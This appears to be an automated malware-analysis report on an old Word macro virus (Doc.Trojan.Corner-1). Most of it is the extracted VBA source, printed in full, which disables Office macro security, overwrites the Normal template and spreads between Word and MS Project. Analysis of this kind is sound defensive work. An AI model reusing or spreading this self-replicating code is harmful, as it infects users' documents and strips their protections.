Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d5e5dc4d2d129269…

MALICIOUS

Office (OLE)

30.5 KB Created: 1999-10-20 15:32:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 21d61aae3ffeeceab080a6ddddb8a45e SHA-1: 6bf2e24e05cc22ea05d40062a48e7d2c29842f7e SHA-256: d5e5dc4d2d12926907557797b56706816ba364139350815c1e1a8c33fb39e697
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro, which is designed to disable macro security settings and modify the Normal template. The script attempts to write to registry keys related to Office security levels, potentially to bypass future security prompts. The ClamAV detection 'Doc.Trojan.Corner-1' further indicates malicious intent, likely involving the execution of arbitrary code.

Heuristics 6

  • ClamAV: Doc.Trojan.Corner-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Corner-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3119 bytes
SHA-256: 803d0471901d1048ec1b0e1aa3cc6ee7adc8e7e562c7bf2cf214af592b357ffd
Detection
ClamAV: Doc.Trojan.Corner-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Close()
'
On Error Resume Next
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Excel\Security", "Level") = 1
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.VirusProtection = (45 - 45)
End If
Options.SendMailAttach = True
Set Nrmal = NormalTemplate.VBProject.VBComponents(1).codemodule
Set aktiv = ActiveDocument.VBProject.VBComponents(1).codemodule
If Nrmal.Lines(2, 1) <> "'" Then
Nrmal.DeleteLines 1, Nrmal.CountOfLines
Nrmal.InsertLines 2, aktiv.Lines(2, aktiv.CountOfLines)
Nrmal.InsertLines 1, "Sub Document_Open()"
Nrmal.Replaceline 41, "Sub wrdcloser()"
End If
If aktiv.Lines(2, 1) <> "'" Then
aktiv.DeleteLines 1, aktiv.CountOfLines
aktiv.InsertLines 2, Nrmal.Lines(2, Nrmal.CountOfLines)
aktiv.InsertLines 1, "Sub Document_Close()"
aktiv.Replaceline 41, "Sub projcloser()"
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If
Set projobj = GetObject(, "MSProject.Application")
If projobj = "" Then GoTo out
Set proj1obj = projobj.Projects.Add
proj1obj.VBProject.VBComponents.Item(1).codemodule.InsertLines 1, Nrmal.Lines(1, Nrmal.CountOfLines)
proj1obj.VBProject.VBComponents.Item(1).codemodule.Replaceline 41, "Private Sub Project_Deactivate(ByVal pj As MSProject.Project)"
Proj1.obj.Visible = False


out:
End Sub

Sub projcloser()
Application.MacroVirusProtection = False
Dim X As Project
For Each X In Projects
On Error Resume Next
Set ap = X.VBProject.VBComponents(1).codemodule
Set tp = ThisProject.VBProject.VBComponents(1).codemodule
If ap.Lines(2, 1) <> "'" Then
ap.DeleteLines 1, ap.CountOfLines
ap.InsertLines 1, tp.Lines(1, tp.CountOfLines)
Application.FileSaveAs Name:=ActiveProject.Name
End If
Next X
Set WordObj = GetObject(, "Word.Application")
If WordObj = "" Then
Set WordObj = CreateObject("Word.Application")
crossQuit = True
End If
Set Nrmal = WordObj.NormalTemplate.VBProject.VBComponents(1).codemodule
WordObj.Options.SaveNormalPrompt = False
Nrmal.DeleteLines 1, Nrmal.CountOfLines
Nrmal.InsertLines 1, tp.Lines(1, tp.CountOfLines)
Nrmal.Replaceline 1, "Sub Document_Open"
Nrmal.Replaceline 41, "Sub closer()"
Nrmal.Save
If crossQuit = True Then WordObj.Quit
'I never realized the lengths I'd have to go
'All the darkest corners of a sense
'I didn't know
'Just for one moment
'hearing someone call
'Looked beyond the day in hand
'There's nothing there at all
'Project98/Word97-2k Closer
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.